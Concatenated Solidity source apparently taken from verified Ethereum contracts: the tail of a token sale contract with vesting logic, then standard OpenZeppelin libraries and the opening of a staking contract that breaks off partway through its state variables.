require(checkAndUpdateSupply(totalSupply.add(tokens[i]))); tokensVested[beneficiary[i]] = tokensVested[beneficiary[i]].add(tokens[i]); require(withinIndividualCap(tokensVested[beneficiary[i]])); tokenRaised = tokenRaised.add(tokens[i]); token.mint(address(vesting), tokens[i]); Vesting(vesting).initializeVesting(beneficiary[i], tokens[i], now, Vesting.VestingUser(userType[i])); } } function ownerAssignedTokens(address beneficiary, uint256 tokens) external onlyOwner { require(now >= endTime); require(whitelisting.isInvestorApproved(beneficiary)); require(checkAndUpdateSupply(totalSupply.add(tokens))); uint256 alreadyExistingTokens = token.balanceOf(beneficiary); require(withinIndividualCap(tokens.add(alreadyExistingTokens))); tokenRaised = tokenRaised.add(tokens); token.mint(beneficiary, tokens); token.sethodlPremium(beneficiary, tokens, hodlStartTime); emit TokenPurchase( msg.sender, beneficiary, 0, tokens ); } function setHodlStartTime(uint256 _hodlStartTime) onlyOwner external{ hodlStartTime = _hodlStartTime; } }
To be overriden to add functionality
function canUpgrade() public view returns(bool) { return upgradesAllowed; }
933,273
/** *Submitted for verification at Etherscan.io on 2021-09-08 */ // SPDX-License-Identifier: NONE pragma solidity 0.6.2; // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/EnumerableSet /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // Part: OpenZeppelin/[email protected]/Arrays /** * @dev Collection of functions related to array types. */ library Arrays { /** * @dev Searches a sorted `array` and returns the first index that contains * a value greater or equal to `element`. If no such index exists (i.e. all * values in the array are strictly less than `element`), the array length is * returned. Time complexity O(log n). * * `array` is expected to be sorted in ascending order, and to contain no * repeated elements. */ function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); // Note that mid will always be strictly less than high (i.e. it will be a valid array index) // because Math.average rounds down (it does integer division with truncation). if (array[mid] > element) { high = mid; } else { low = mid + 1; } } // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound. if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } // Part: OpenZeppelin/[email protected]/Initializable /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // Part: ContextUpgradeSafe /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer {} function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // Part: ReentrancyGuardUpgradeSafe /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuardUpgradeSafe is Initializable { bool private _notEntered; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } uint256[49] private __gap; } // Part: AccessControlUpgradeSafe // contract ContextUpgradeSafe is Initializable { // // Empty internal constructor, to prevent people from mistakenly deploying // // an instance of this contract, which should be used via inheritance. // function __Context_init() internal initializer { // __Context_init_unchained(); // } // function __Context_init_unchained() internal initializer {} // function _msgSender() internal view virtual returns (address payable) { // return msg.sender; // } // function _msgData() internal view virtual returns (bytes memory) { // this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // return msg.data; // } // uint256[50] private __gap; // } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer {} using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // Part: PausableUpgradeSafe /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // Part: SwapStakingContract contract SwapStakingContract is Initializable, ContextUpgradeSafe, AccessControlUpgradeSafe, PausableUpgradeSafe, ReentrancyGuardUpgradeSafe { using SafeMath for uint256; using Math for uint256; //using Address for address; using Arrays for uint256[]; bytes32 private constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE"); bytes32 private constant REWARDS_DISTRIBUTOR_ROLE = keccak256("REWARDS_DISTRIBUTOR_ROLE"); // EVENTS event StakeDeposited(address indexed account, uint256 amount); event WithdrawInitiated(address indexed account, uint256 amount, uint256 initiateDate); event WithdrawExecuted(address indexed account, uint256 amount, uint256 reward); event RewardsWithdrawn(address indexed account, uint256 reward); event RewardsDistributed(uint256 amount); // STRUCT DECLARATIONS struct StakeDeposit { uint256 amount; uint256 startDate; uint256 endDate; uint256 entryRewardPoints; uint256 exitRewardPoints; bool exists; } // STRUCT WITHDRAWAL struct WithdrawalState { uint256 initiateDate; uint256 amount; } // CONTRACT STATE VARIABLES IERC20 public token; address public rewardsAddress; 